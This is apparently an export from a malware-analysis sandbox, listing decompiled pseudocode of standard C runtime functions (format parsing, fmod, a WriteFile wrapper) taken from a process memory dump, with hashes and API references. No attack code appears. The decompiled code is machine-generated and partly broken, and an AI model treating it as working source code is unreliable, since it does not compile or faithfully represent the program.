Source File: 0000000F.00000002.460721727.00007FF6ED0F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF6ED0F0000, based on PE: true

Associated: 0000000F.00000002.460678290.00007FF6ED0F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000F.00000002.462491399.00007FF6ED1EE000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000F.00000002.463407838.00007FF6ED236000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000F.00000002.463433786.00007FF6ED239000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000F.00000002.463580899.00007FF6ED248000.00000020.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000F.00000002.463744441.00007FF6ED262000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000F.00000002.463787572.00007FF6ED3BD000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000F.00000002.463880996.00007FF6ED3BF000.00000020.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000F.00000002.464361983.00007FF6ED3F0000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_7ff6ed0f0000_MonDisc.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID:
API String ID: 3215553584-3916222277
Opcode ID: b6a25df9840ecf1653155f71c6feae910b6b73a21f0a4fc9273019de221468bb
Instruction ID: 592fb1c6f8574ed2edec59c484d1a1426aee12e93316c52f0b911e172f4a861a
Opcode Fuzzy Hash: b6a25df9840ecf1653155f71c6feae910b6b73a21f0a4fc9273019de221468bb
Instruction Fuzzy Hash: 2A618377A1C2878AE768CE64C0543BC77A5EB11B58F141635C60A872D9EF3FE485C60B

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF6ED18E5C0 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 151
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 52%

			E00007FF67FF6ED18E5C0(void* __edx, signed int __edi, intOrPtr* __rax, long long __rbx, void* __rcx, long long __rdi, signed int __rsi, void* __rbp, long long _a8, long long _a16, long long _a24) {
				void* _t82;
				intOrPtr _t87;
				signed int _t94;
				signed int _t96;
				char _t98;
				void* _t99;
				signed int _t101;
				intOrPtr _t109;
				void* _t131;
				char _t138;
				signed int _t143;

				_t145 = __rbp;
				_t143 = __rsi;
				_t99 = __edx;
				_a8 = __rbx;
				_a16 = __rsi;
				_a24 = __rdi;
				_t101 = __edi | 0xffffffff;
				_t131 = __rcx;
				if ( *((intOrPtr*)(__rcx + 0x468)) == __rsi) goto 0xed18e7bf;
				if ( *((intOrPtr*)(__rcx + 0x18)) != __rsi) goto 0xed18e607;
				E00007FF67FF6ED184D84(__rax);
				 *__rax = 0x16;
				E00007FF67FF6ED1C599C();
				goto 0xed18e7a9;
				 *((intOrPtr*)(__rcx + 0x470)) =  *((intOrPtr*)(__rcx + 0x470)) + 1;
				if ( *((intOrPtr*)(__rcx + 0x470)) == 2) goto 0xed18e7a6;
				 *((intOrPtr*)(__rcx + 0x50)) = 0;
				 *((intOrPtr*)(__rcx + 0x2c)) = 0;
				goto 0xed18e773;
				 *((long long*)(__rcx + 0x18)) =  *((long long*)(__rcx + 0x18)) + 1;
				if ( *((intOrPtr*)(__rcx + 0x28)) < 0) goto 0xed18e788;
				_t138 =  *((char*)(__rcx + 0x41));
				if (_t138 - 0x20 - 0x5a > 0) goto 0xed18e653;
				_t126 = _t138 - 0x20;
				goto 0xed18e655;
				_t87 =  *((intOrPtr*)(0xed211bc0 + (_t138 - 0x20) * 8));
				 *((intOrPtr*)(__rcx + 0x2c)) = _t87;
				if (_t87 == 8) goto 0xed18e7bf;
				_t109 = _t87;
				if (_t109 == 0) goto 0xed18e767;
				if (_t109 == 0) goto 0xed18e753;
				if (_t109 == 0) goto 0xed18e71e;
				if (_t109 == 0) goto 0xed18e6f3;
				if (_t109 == 0) goto 0xed18e6eb;
				if (_t109 == 0) goto 0xed18e6bf;
				if (_t109 == 0) goto 0xed18e6b2;
				if (_t87 - 0xfffffffffffffffc != 1) goto 0xed18e7cf;
				E00007FF67FF6ED192BBC(__rcx, __rcx, __rsi, __rbp);
				goto 0xed18e76f;
				E00007FF67FF6ED191650(_t138 - 0x20, _t131);
				goto 0xed18e76f;
				if (_t99 == 0x2a) goto 0xed18e6d5;
				E00007FF67FF6ED18D920(_t126, _t131, _t131, _t131 + 0x38, _t145);
				goto 0xed18e76f;
				 *((long long*)(_t131 + 0x20)) =  *((long long*)(_t131 + 0x20)) + 8;
				_t94 =  *( *((intOrPtr*)(_t131 + 0x20)) - 8);
				_t95 =  <  ? _t101 : _t94;
				 *(_t131 + 0x38) =  <  ? _t101 : _t94;
				goto 0xed18e71a;
				 *(_t131 + 0x38) = 0;
				goto 0xed18e773;
				if (_t99 == 0x2a) goto 0xed18e6fe;
				goto 0xed18e6c8;
				 *((long long*)(_t131 + 0x20)) =  *((long long*)(_t131 + 0x20)) + 8;
				_t96 =  *( *((intOrPtr*)(_t131 + 0x20)) - 8);
				 *(_t131 + 0x34) = _t96;
				if (_t96 >= 0) goto 0xed18e71a;
				 *(_t131 + 0x30) =  *(_t131 + 0x30) | 0x00000004;
				 *(_t131 + 0x34) =  ~_t96;
				goto 0xed18e76f;
				_t82 = _t99;
				if (_t99 == 0x20) goto 0xed18e74d;
				if (_t82 == 0x23) goto 0xed18e747;
				if (_t82 == 0x2b) goto 0xed18e741;
				if (_t82 == 0x2d) goto 0xed18e73b;
				if (_t82 != 0x30) goto 0xed18e773;
				 *(_t131 + 0x30) =  *(_t131 + 0x30) | 0x00000008;
				goto 0xed18e773;
				 *(_t131 + 0x30) =  *(_t131 + 0x30) | 0x00000004;
				goto 0xed18e773;
				 *(_t131 + 0x30) =  *(_t131 + 0x30) | 0x00000001;
				goto 0xed18e773;
				 *(_t131 + 0x30) =  *(_t131 + 0x30) | 0x00000020;
				goto 0xed18e773;
				 *(_t131 + 0x30) =  *(_t131 + 0x30) | 0x00000002;
				goto 0xed18e773;
				 *(_t131 + 0x30) = _t143;
				 *((intOrPtr*)(_t131 + 0x40)) = sil;
				 *(_t131 + 0x38) = _t101;
				 *((intOrPtr*)(_t131 + 0x3c)) = 0;
				 *((intOrPtr*)(_t131 + 0x54)) = sil;
				goto 0xed18e773;
				if (E00007FF67FF6ED190258(_t131) == 0) goto 0xed18e7cf;
				_t98 =  *((intOrPtr*)( *((intOrPtr*)(_t131 + 0x18))));
				 *((char*)(_t131 + 0x41)) = _t98;
				if (_t98 != 0) goto 0xed18e62c;
				 *((long long*)(_t131 + 0x18)) =  *((long long*)(_t131 + 0x18)) + 1;
				if ( *((intOrPtr*)(_t131 + 0x2c)) == 0) goto 0xed18e793;
				if ( *((intOrPtr*)(_t131 + 0x2c)) != 7) goto 0xed18e7bf;
				 *((intOrPtr*)(_t131 + 0x470)) =  *((intOrPtr*)(_t131 + 0x470)) + 1;
				if ( *((intOrPtr*)(_t131 + 0x470)) != 2) goto 0xed18e621;
				return  *((intOrPtr*)(_t131 + 0x28));
			}

0x7ff6ed18e5c0
0x7ff6ed18e5c0
0x7ff6ed18e5c0
0x7ff6ed18e5c0
0x7ff6ed18e5c5
0x7ff6ed18e5ca
0x7ff6ed18e5d5
0x7ff6ed18e5da
0x7ff6ed18e5e4
0x7ff6ed18e5ee
0x7ff6ed18e5f0
0x7ff6ed18e5f5
0x7ff6ed18e5fb
0x7ff6ed18e602
0x7ff6ed18e607
0x7ff6ed18e614
0x7ff6ed18e621
0x7ff6ed18e624
0x7ff6ed18e627
0x7ff6ed18e62c
0x7ff6ed18e633
0x7ff6ed18e639
0x7ff6ed18e643
0x7ff6ed18e645
0x7ff6ed18e651
0x7ff6ed18e65e
0x7ff6ed18e662
0x7ff6ed18e668
0x7ff6ed18e66e
0x7ff6ed18e670
0x7ff6ed18e679
0x7ff6ed18e682
0x7ff6ed18e68b
0x7ff6ed18e690
0x7ff6ed18e695
0x7ff6ed18e69a
0x7ff6ed18e69f
0x7ff6ed18e6a8
0x7ff6ed18e6ad
0x7ff6ed18e6b5
0x7ff6ed18e6ba
0x7ff6ed18e6c2
0x7ff6ed18e6cb
0x7ff6ed18e6d0
0x7ff6ed18e6d5
0x7ff6ed18e6de
0x7ff6ed18e6e3
0x7ff6ed18e6e6
0x7ff6ed18e6e9
0x7ff6ed18e6eb
0x7ff6ed18e6ee
0x7ff6ed18e6f6
0x7ff6ed18e6fc
0x7ff6ed18e6fe
0x7ff6ed18e707
0x7ff6ed18e70a
0x7ff6ed18e70f
0x7ff6ed18e711
0x7ff6ed18e717
0x7ff6ed18e71c
0x7ff6ed18e71e
0x7ff6ed18e723
0x7ff6ed18e727
0x7ff6ed18e72b
0x7ff6ed18e72f
0x7ff6ed18e733
0x7ff6ed18e735
0x7ff6ed18e739
0x7ff6ed18e73b
0x7ff6ed18e73f
0x7ff6ed18e741
0x7ff6ed18e745
0x7ff6ed18e747
0x7ff6ed18e74b
0x7ff6ed18e74d
0x7ff6ed18e751
0x7ff6ed18e753
0x7ff6ed18e757
0x7ff6ed18e75b
0x7ff6ed18e75e
0x7ff6ed18e761
0x7ff6ed18e765
0x7ff6ed18e771
0x7ff6ed18e777
0x7ff6ed18e779
0x7ff6ed18e77e
0x7ff6ed18e784
0x7ff6ed18e78b
0x7ff6ed18e791
0x7ff6ed18e793
0x7ff6ed18e7a0
0x7ff6ed18e7be

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF6ED18E5FB
_invalid_parameter_noinfo.LIBCMT ref: 00007FF6ED18E7CA

Strings

, xrefs: 00007FF6ED18E747

Memory Dump Source

Source File: 0000000F.00000002.460721727.00007FF6ED0F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF6ED0F0000, based on PE: true

Associated: 0000000F.00000002.460678290.00007FF6ED0F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000F.00000002.462491399.00007FF6ED1EE000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000F.00000002.463407838.00007FF6ED236000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000F.00000002.463433786.00007FF6ED239000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000F.00000002.463580899.00007FF6ED248000.00000020.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000F.00000002.463744441.00007FF6ED262000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000F.00000002.463787572.00007FF6ED3BD000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000F.00000002.463880996.00007FF6ED3BF000.00000020.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000F.00000002.464361983.00007FF6ED3F0000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_7ff6ed0f0000_MonDisc.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID:
API String ID: 3215553584-3916222277
Opcode ID: 0095a1f0982937b9620c8ccfdea1be70b52ebf803ae852666ba4312be0df93d2
Instruction ID: c283fb251f22ca1e0d6a725e8fe3aaf92c79d244bc50aa5997d1dca4498dcd9c
Opcode Fuzzy Hash: 0095a1f0982937b9620c8ccfdea1be70b52ebf803ae852666ba4312be0df93d2
Instruction Fuzzy Hash: 5461997BD0C21386E768CF2484443BCB7A5FB45B48F641135DA4E87294EF2BE441C74A

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF6ED18E3AC Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 149
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 100%

			E00007FF67FF6ED18E3AC(signed int __edi, intOrPtr* __rax, long long __rbx, void* __rcx, long long __rdi, long long _a8, long long _a16) {

				_a8 = __rbx;
				_a16 = __rdi;
				if ( *((intOrPtr*)(__rcx + 0x468)) != 0) goto 0xed18e3f1;
				E00007FF67FF6ED184D84(__rax);
				 *__rax = 0x16;
				E00007FF67FF6ED1C599C();
				return __edi | 0xffffffff;
			}

0x7ff6ed18e3ac
0x7ff6ed18e3b1
0x7ff6ed18e3cc
0x7ff6ed18e3ce
0x7ff6ed18e3d3
0x7ff6ed18e3d9
0x7ff6ed18e3f0

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF6ED18E3D9
_invalid_parameter_noinfo.LIBCMT ref: 00007FF6ED18E40C

Strings

, xrefs: 00007FF6ED18E55A

Memory Dump Source

Source File: 0000000F.00000002.460721727.00007FF6ED0F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF6ED0F0000, based on PE: true

Associated: 0000000F.00000002.460678290.00007FF6ED0F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000F.00000002.462491399.00007FF6ED1EE000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000F.00000002.463407838.00007FF6ED236000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000F.00000002.463433786.00007FF6ED239000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000F.00000002.463580899.00007FF6ED248000.00000020.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000F.00000002.463744441.00007FF6ED262000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000F.00000002.463787572.00007FF6ED3BD000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000F.00000002.463880996.00007FF6ED3BF000.00000020.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000F.00000002.464361983.00007FF6ED3F0000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_7ff6ed0f0000_MonDisc.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID:
API String ID: 3215553584-3916222277
Opcode ID: de4eb872028e4ab4c05b4c01f20d71709c4eec9a6ff6979106dcf8b51b761e3e
Instruction ID: 97930aeba8fd768e7073a6c2c0be358c0ee4f4a1789cebb74cc1a40b3fb3a613
Opcode Fuzzy Hash: de4eb872028e4ab4c05b4c01f20d71709c4eec9a6ff6979106dcf8b51b761e3e
Instruction Fuzzy Hash: 9A61627B90C2578AEB64CE2480443BD77A5EB15B18F141135DA0EC72D9FF2BE885C70A

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF6ED1B5B00 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 133
COMMON

Download Yara Rule

C-Code - Quality: 18%

			E00007FF67FF6ED1B5B00(signed int __eax, void* __fp0, signed int __r8, signed int __r9) {
				long long _v120;
				long long _v136;
				intOrPtr _v144;
				intOrPtr _v152;
				void* _t10;
				void* _t11;
				void* _t13;
				void* _t14;
				void* _t19;
				void* _t21;
				long long _t25;
				void* _t27;
				signed long long _t29;
				signed long long _t30;
				void* _t31;
				signed long long _t33;
				signed long long _t34;
				signed long long _t36;

				asm("movdqa [esp+0x50], xmm6");
				asm("movdqa [esp+0x60], xmm7");
				_t36 =  *0xed216ce0; // 0x7ff0000000000000
				asm("dec cx");
				asm("dec cx");
				_t29 = __r8 &  *0xed216d20;
				_t33 = __r9 &  *0xed216d20;
				_t13 = _t33 -  *0xed216ce0; // 0x7ff0000000000000
				if (_t13 > 0) goto 0xed1b5db0;
				_t14 = _t29 -  *0xed216ce0; // 0x7ff0000000000000
				if (_t14 > 0) goto 0xed1b5dc0;
				if (_t14 == 0) goto 0xed1b5d50;
				if (_t33 == 0) goto 0xed1b5da0;
				if (_t29 == _t33) goto 0xed1b5d30;
				asm("dec cx");
				asm("dec cx");
				asm("movapd xmm4, xmm0");
				asm("movapd xmm5, xmm1");
				asm("movapd xmm3, [0x611a1]");
				_t30 = _t29 & _t36;
				_t34 = _t33 & _t36;
				asm("dec ecx");
				asm("dec ecx");
				if (_t30 == 0) goto 0xed1b5ce0;
				if (_t34 == 0) goto 0xed1b5ce0;
				_t31 = _t30 - _t34;
				_t19 = _t31 - 0x34;
				if (_t19 >= 0) goto 0xed1b5ce0;
				asm("pand xmm4, xmm3");
				asm("pand xmm5, xmm3");
				asm("comisd xmm4, xmm5");
				if (_t19 <= 0) goto 0xed1b5dc0;
				if (_t31 == 0x7ff) goto 0xed1b5d50;
				asm("movapd xmm2, xmm4");
				asm("movapd xmm3, xmm5");
				asm("divsd xmm2, xmm3");
				asm("repne dec esp");
				asm("repne dec ecx");
				asm("dec cx");
				asm("dec ecx");
				_t21 = (_t34 &  *0xed216ce0) - 0x3ff + _t34 - 0x3ff - 0x3ff;
				if (_t21 >= 0) goto 0xed1b5ce0;
				asm("movapd xmm4, [0x610d4]");
				asm("movapd xmm1, xmm5");
				asm("movapd xmm6, xmm2");
				asm("movapd xmm7, xmm2");
				asm("mulsd xmm7, xmm5");
				asm("andpd xmm1, xmm4");
				asm("andpd xmm2, xmm4");
				asm("subsd xmm5, xmm1");
				asm("subsd xmm6, xmm2");
				asm("movapd xmm4, xmm1");
				asm("mulsd xmm4, xmm2");
				asm("subsd xmm4, xmm7");
				asm("mulsd xmm1, xmm6");
				asm("addsd xmm4, xmm1");
				asm("mulsd xmm2, xmm5");
				asm("addsd xmm4, xmm2");
				asm("mulsd xmm6, xmm5");
				asm("addsd xmm6, xmm4");
				asm("movapd xmm1, xmm0");
				asm("pand xmm1, [0x610b4]");
				asm("movapd xmm2, xmm1");
				asm("subsd xmm1, xmm7");
				asm("subsd xmm2, xmm1");
				asm("subsd xmm2, xmm7");
				asm("subsd xmm2, xmm6");
				asm("addsd xmm2, xmm1");
				asm("comisd xmm2, [0x61074]");
				if (_t21 >= 0) goto 0xed1b5ca0;
				asm("addsd xmm2, xmm3");
				asm("o16 nop [eax+eax]");
				asm("comisd xmm0, [0x61058]");
				if (_t21 > 0) goto 0xed1b5cd0;
				asm("o16 nop [eax+eax]");
				asm("movapd xmm0, xmm2");
				asm("orpd xmm0, [0x61014]");
				goto 0xed1b5dc0;
				asm("o16 nop [eax+eax]");
				asm("movapd xmm0, xmm2");
				goto 0xed1b5dc0;
				asm("movsd [esp+0x30], xmm0");
				asm("movsd [esp+0x40], xmm1");
				st0 = __fp0;
				st1 = __fp0;
				_t25 = _v136;
				asm("fclex");
				asm("o16 nop [eax+eax]");
				asm("fprem");
				asm("fnstsw ax");
				if ((__eax & 0x00000400) == 0x400) goto 0xed1b5d00;
				_v136 = _t25;
				_v120 = _t25;
				asm("movsd xmm0, [esp+0x30]");
				goto 0xed1b5dc0;
				asm("o16 nop [eax+eax]");
				asm("movsd xmm1, xmm0");
				asm("pand xmm1, [0x60f94]");
				asm("movsd xmm0, [0x60fbc]");
				asm("por xmm0, xmm1");
				goto 0xed1b5dc0;
				asm("movapd xmm1, xmm0");
				asm("por xmm1, [0x60fb4]");
				asm("dec cx");
				r9d = 1;
				_v152 = 8;
				_v144 = 0x21;
				_v120 = 2;
				_t10 = E00007FF67FF6ED1D1074(_t11, 0x16, (__eax & 0x00000400) - 0x400, 0xed216cc0, _t27, _t31);
				goto 0xed1b5dc0;
				asm("o16 nop [eax+eax]");
				asm("movapd xmm1, [0x60f88]");
				goto 0xed1b5d5c;
				asm("o16 nop [eax+eax]");
				asm("movapd xmm0, xmm1");
				asm("o16 nop [eax+eax]");
				asm("movdqa xmm7, [esp+0x60]");
				asm("movdqa xmm6, [esp+0x50]");
				return _t10;
			}

0x7ff6ed1b5b07
0x7ff6ed1b5b0d
0x7ff6ed1b5b13
0x7ff6ed1b5b1a
0x7ff6ed1b5b1f
0x7ff6ed1b5b24
0x7ff6ed1b5b2b
0x7ff6ed1b5b32
0x7ff6ed1b5b39
0x7ff6ed1b5b3f
0x7ff6ed1b5b46
0x7ff6ed1b5b4c
0x7ff6ed1b5b56
0x7ff6ed1b5b5f
0x7ff6ed1b5b65
0x7ff6ed1b5b6a
0x7ff6ed1b5b6f
0x7ff6ed1b5b73
0x7ff6ed1b5b77
0x7ff6ed1b5b7f
0x7ff6ed1b5b82
0x7ff6ed1b5b85
0x7ff6ed1b5b89
0x7ff6ed1b5b90
0x7ff6ed1b5b9c
0x7ff6ed1b5ba2
0x7ff6ed1b5ba5
0x7ff6ed1b5ba9
0x7ff6ed1b5baf
0x7ff6ed1b5bb3
0x7ff6ed1b5bb7
0x7ff6ed1b5bbb
0x7ff6ed1b5bc8
0x7ff6ed1b5bd0
0x7ff6ed1b5bd4
0x7ff6ed1b5bd8
0x7ff6ed1b5bdc
0x7ff6ed1b5be1
0x7ff6ed1b5be6
0x7ff6ed1b5bf2
0x7ff6ed1b5c07
0x7ff6ed1b5c0e
0x7ff6ed1b5c14
0x7ff6ed1b5c1c
0x7ff6ed1b5c20
0x7ff6ed1b5c24
0x7ff6ed1b5c28
0x7ff6ed1b5c2c
0x7ff6ed1b5c30
0x7ff6ed1b5c34
0x7ff6ed1b5c38
0x7ff6ed1b5c3c
0x7ff6ed1b5c40
0x7ff6ed1b5c44
0x7ff6ed1b5c48
0x7ff6ed1b5c4c
0x7ff6ed1b5c50
0x7ff6ed1b5c54
0x7ff6ed1b5c58
0x7ff6ed1b5c5c
0x7ff6ed1b5c60
0x7ff6ed1b5c64
0x7ff6ed1b5c6c
0x7ff6ed1b5c70
0x7ff6ed1b5c74
0x7ff6ed1b5c78
0x7ff6ed1b5c7c
0x7ff6ed1b5c80
0x7ff6ed1b5c84
0x7ff6ed1b5c8c
0x7ff6ed1b5c8e
0x7ff6ed1b5c92
0x7ff6ed1b5ca0
0x7ff6ed1b5ca8
0x7ff6ed1b5caa
0x7ff6ed1b5cb0
0x7ff6ed1b5cb4
0x7ff6ed1b5cbc
0x7ff6ed1b5cc1
0x7ff6ed1b5cd0
0x7ff6ed1b5cd4
0x7ff6ed1b5ce0
0x7ff6ed1b5ce6
0x7ff6ed1b5cec
0x7ff6ed1b5cee
0x7ff6ed1b5cf4
0x7ff6ed1b5cf8
0x7ff6ed1b5cfa
0x7ff6ed1b5d00
0x7ff6ed1b5d02
0x7ff6ed1b5d0c
0x7ff6ed1b5d0e
0x7ff6ed1b5d12
0x7ff6ed1b5d16
0x7ff6ed1b5d1c
0x7ff6ed1b5d21
0x7ff6ed1b5d30
0x7ff6ed1b5d34
0x7ff6ed1b5d3c
0x7ff6ed1b5d44
0x7ff6ed1b5d48
0x7ff6ed1b5d50
0x7ff6ed1b5d54
0x7ff6ed1b5d68
0x7ff6ed1b5d6d
0x7ff6ed1b5d73
0x7ff6ed1b5d7b
0x7ff6ed1b5d83
0x7ff6ed1b5d8b
0x7ff6ed1b5d90
0x7ff6ed1b5d92
0x7ff6ed1b5da0
0x7ff6ed1b5da8
0x7ff6ed1b5daa
0x7ff6ed1b5db0
0x7ff6ed1b5db4
0x7ff6ed1b5dc0
0x7ff6ed1b5dc6
0x7ff6ed1b5dd3

APIs

_handle_error.LIBCMT ref: 00007FF6ED1B5D8B

Strings

fmod, xrefs: 00007FF6ED1B5D5C
!, xrefs: 00007FF6ED1B5D7B

Memory Dump Source

Source File: 0000000F.00000002.460721727.00007FF6ED0F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF6ED0F0000, based on PE: true

Associated: 0000000F.00000002.460678290.00007FF6ED0F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000F.00000002.462491399.00007FF6ED1EE000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000F.00000002.463407838.00007FF6ED236000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000F.00000002.463433786.00007FF6ED239000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000F.00000002.463580899.00007FF6ED248000.00000020.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000F.00000002.463744441.00007FF6ED262000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000F.00000002.463787572.00007FF6ED3BD000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000F.00000002.463880996.00007FF6ED3BF000.00000020.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000F.00000002.464361983.00007FF6ED3F0000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_7ff6ed0f0000_MonDisc.jbxd

Similarity

API ID: _handle_error
String ID: !$fmod
API String ID: 1757819995-3213614193
Opcode ID: dd20ec4e41a49b05fd555289c17bf3de0b93b3d296956557c896eca9cbca0f6d
Instruction ID: 8908bddde22a46270bb009c7a64febc250a2edce5ae501cf255e4b7d8411fc66
Opcode Fuzzy Hash: dd20ec4e41a49b05fd555289c17bf3de0b93b3d296956557c896eca9cbca0f6d
Instruction Fuzzy Hash: 43510813D2CB8289E2635B31A4157F96658BF623C0F40D732FA09736E6EF1FA0078649

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF6ED1CF664 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 100
fileCOMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 29%

			E00007FF67FF6ED1CF664(signed int __edx, void* __edi, void* __rax, signed long long __rbx, intOrPtr* __rcx, long long __rbp, signed short* __r8, signed long long _a8, signed long long _a16, long long _a24, char _a40, char _a1744, char _a1752, signed int _a5176, void* _a5192) {
				intOrPtr _v0;
				signed long long _v8;
				signed int _t41;
				signed long long _t62;
				short* _t67;
				signed int* _t68;
				void* _t91;
				void* _t97;
				void* _t99;
				void* _t102;
				void* _t103;

				_a8 = __rbx;
				_a24 = __rbp;
				E00007FF67FF6ED1EC100(0x1470, __rax, _t97, _t99);
				_t62 =  *0xed2361d8; // 0x3623d5dd24d9
				_a5176 = _t62 ^ _t91 - __rax;
				r14d = r9d;
				r10d = r10d & 0x0000003f;
				_t103 = _t102 + __r8;
				 *((long long*)(__rcx)) =  *((intOrPtr*)(0xed238660 + (__edx >> 6) * 8));
				 *((intOrPtr*)(__rcx + 8)) = 0;
				if (__r8 - _t103 >= 0) goto 0xed1cf7a5;
				_t67 =  &_a40;
				if (__r8 - _t103 >= 0) goto 0xed1cf70e;
				_t41 =  *__r8 & 0x0000ffff;
				if (_t41 != 0xa) goto 0xed1cf6fa;
				 *_t67 = 0xd;
				_t68 = _t67 + 2;
				 *_t68 = _t41;
				if ( &(_t68[0]) -  &_a1744 < 0) goto 0xed1cf6dc;
				_a16 = _a16 & 0x00000000;
				_a8 = _a8 & 0x00000000;
				_v0 = 0xd55;
				_v8 =  &_a1752;
				r9d = 0;
				E00007FF67FF6ED1D6518();
				if (0 == 0) goto 0xed1cf79d;
				if (0 == 0) goto 0xed1cf78d;
				_v8 = _v8 & 0x00000000;
				r8d = 0;
				r8d = r8d;
				if (WriteFile(??, ??, ??, ??, ??) == 0) goto 0xed1cf79d;
				if (0 + _a24 < 0) goto 0xed1cf75a;
				 *((intOrPtr*)(__rcx + 4)) = __edi - r15d;
				goto 0xed1cf6d1;
				 *((intOrPtr*)(__rcx)) = GetLastError();
				return E00007FF67FF6ED173DE0(_t39, 0, _a5176 ^ _t91 - __rax);
			}

0x7ff6ed1cf664
0x7ff6ed1cf669
0x7ff6ed1cf67b
0x7ff6ed1cf683
0x7ff6ed1cf68d
0x7ff6ed1cf69e
0x7ff6ed1cf6ac
0x7ff6ed1cf6b0
0x7ff6ed1cf6c8
0x7ff6ed1cf6ce
0x7ff6ed1cf6d1
0x7ff6ed1cf6d7
0x7ff6ed1cf6df
0x7ff6ed1cf6e1
0x7ff6ed1cf6ec
0x7ff6ed1cf6f3
0x7ff6ed1cf6f6
0x7ff6ed1cf6fa
0x7ff6ed1cf70c
0x7ff6ed1cf70e
0x7ff6ed1cf719
0x7ff6ed1cf727
0x7ff6ed1cf73a
0x7ff6ed1cf73f
0x7ff6ed1cf749
0x7ff6ed1cf752
0x7ff6ed1cf758
0x7ff6ed1cf75a
0x7ff6ed1cf76f
0x7ff6ed1cf778
0x7ff6ed1cf783
0x7ff6ed1cf78b
0x7ff6ed1cf792
0x7ff6ed1cf798
0x7ff6ed1cf7a3
0x7ff6ed1cf7d3

APIs

WriteFile.KERNEL32 ref: 00007FF6ED1CF77B
GetLastError.KERNEL32 ref: 00007FF6ED1CF79D

Strings

U, xrefs: 00007FF6ED1CF727

Memory Dump Source

Source File: 0000000F.00000002.460721727.00007FF6ED0F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF6ED0F0000, based on PE: true

Associated: 0000000F.00000002.460678290.00007FF6ED0F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000F.00000002.462491399.00007FF6ED1EE000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000F.00000002.463407838.00007FF6ED236000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000F.00000002.463433786.00007FF6ED239000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000F.00000002.463580899.00007FF6ED248000.00000020.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000F.00000002.463744441.00007FF6ED262000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000F.00000002.463787572.00007FF6ED3BD000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000F.00000002.463880996.00007FF6ED3BF000.00000020.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000F.00000002.464361983.00007FF6ED3F0000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_7ff6ed0f0000_MonDisc.jbxd

Similarity

API ID: ErrorFileLastWrite
String ID: U
API String ID: 442123175-4171548499
Opcode ID: 47cce0d5286761b9945e866c42bdbfcce5d30ec653c1bc5b47500cf4df87913c
Instruction ID: c1ecf71c525e33dd1253ffefa2c3f4dc2f06ad3bb01b46761fe9947c11a66e5c
Opcode Fuzzy Hash: 47cce0d5286761b9945e866c42bdbfcce5d30ec653c1bc5b47500cf4df87913c
